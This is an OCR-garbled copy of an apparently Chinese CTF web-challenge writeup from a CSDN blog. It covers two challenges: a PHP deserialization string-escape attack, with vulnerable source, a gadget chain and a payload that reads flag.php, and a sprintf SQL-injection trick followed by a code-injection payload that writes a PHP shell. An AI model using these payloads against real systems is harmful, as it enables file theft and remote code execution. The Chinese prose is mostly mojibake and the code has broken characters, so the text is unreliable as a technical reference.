Z{HaFphp Z1EI H F£EB4 Writeup

weixin 39551554 o F 2020-12-21 17:07:53 kA5 o 55 k e

XEARE: Z1EFEphp

FRAUE B AN ERAISCE, M5 CC 4.0 BY-SA FRAUMYL, BB LESCH b mA RS,
ASCHEREE: httpsy/blog.csdn.net/weixin_39551554/article/details/1 11800524

FRAL

i

i}
XAAZERHZE,

SRR TR B — R

FR| 7 IR,

web

web1
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show_source("index.php");

function write($data) {

return str_replace(chr(0) . ™' . chr(0), ", $data);
}

function read($data) {

return str_replace(", chr(0) . ' . chr(0), $data);
}

class A{

public $username;

public $password;

function __construct($a, $b){
$this->username = $a;

$this->password = $b;

}

}

class B{

public $b = 'gqy";
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function __destruct(){
$c = 'a'.$this->b;
echo $c;

}

}

class C{

public $c;

function __ toString(){

/flag.php

echo file_get_contents($this->c);

return 'nice’;

}

}

$a = @new A($_GET[a1,$_GET[b);
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$b = unserialize(read(write(serialize($a))));
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function write($data) {

return str_replace(chr(0) . ™' . chr(0), ", $data);
}

function read($data) {

return str_replace(", chr(0) . ' . chr(0), $data);
}
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class A{

public $username;



public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}

}

class B{

public $b = 'gqy";
function __ destruct(}
$c = 'a'.$this->b;

echo $c;

}

}

class C{

public $c;

function __toString(){

/flag.php

echo file_get_contents($this->c);
return 'nice’;

}

}
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class A{

public $username;

public $password;

function __construct($a, $b){
$this->username = $a;
$this->password = $b;

}

}



class B{

public $b;

function __destruct(){
$c = 'a".$this->b;
echo $c;

}

}

class C{

public $¢ = 'flag.php’;

function __ toString(){

/flag.php

echo file_get_contents($this->c);
return 'nice’;

}

}

$aaa = new A();

$bbb = new B();

$cce = new C();

$bbb->b=%ccc;

/I echo serialize($bbb);
$aaa->password=$bbb;

echo serialize($aaa);
B2]0:1:"A"2:{s:8:"username";N;s:8:"password";0:1:"B":1:{s:1:"b";0:1:"C":1:{s:1:"c";s:8:"flag.php";}}}

RN E G R F 5k : FrblpasswordfE N: ";s:8:"password";0:1:"B":1:{s:1:"b";0:1:"C":1:
{s:1:"c";s:8:"flag.php";}}

WARFIMCHIERE: O:1:"A"2:{s:8:"username";s:3:"aaa";s:8:"password";s:72:"";s:8:"password";0:1:"B":1:
{s:1:"b";,0:1:"C"1:{s:1:"c";s:8:"flag.php";}}";}

BT ABRATT B 6 3R 1) 2 7 42" s:8: "password";s: 72:"— 3 234N 747, {HAEF # Rchr(0) . ™' . chr(0)— Wk iki&3/~F
7, FTUER=F1EH. . Frllpassword AA";s:8:"password";0:1:"B"1:{s:1:"b";0:1:"C":1:
{s:1:"c";s:8:"flag.php";}}

username; 241
payload:
a=&b=A"s:8:"password";0:1:"B":1:{s:1:"b";0:1:"C":1:{s:1:"c";s:8:"flag.php";}}



web2

T R — AN B FAE

238 — T R IR AE waf,
FRE—-THIET BEHLEH. .

RIS IEHIBEL ), RERK, —HE&E T L%
& TR, KITYIK, 2333

A %sikBRAA R T XM FRF R KR, .
EMREIRXER—RBXESELE

RIBEES, SQLEENTT LARIHE AL 47 8 — e i F
fln:

$input1 ='%1%c) OR 1 =1 /*;

$input2 = 39;

$sql = "SELECT * FROM foo WHERE bar IN (‘$input1') AND baz = %s";
$sql = sprintf($sql, $input2);

echo $sq;
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payload:

a';phpinfo();//



2 J5 Fishell.php% 2 T phpinfo() 1 S . -
RUUANBAT AR RIflagT . - #EAIEA disable_functions

set_time_limit,ini_set,pcntl_alarm,pentl_fork,pentl_waitpid,pentl_wait,pentl_wifexited,pentl_wifstopped,pentl_ wifs
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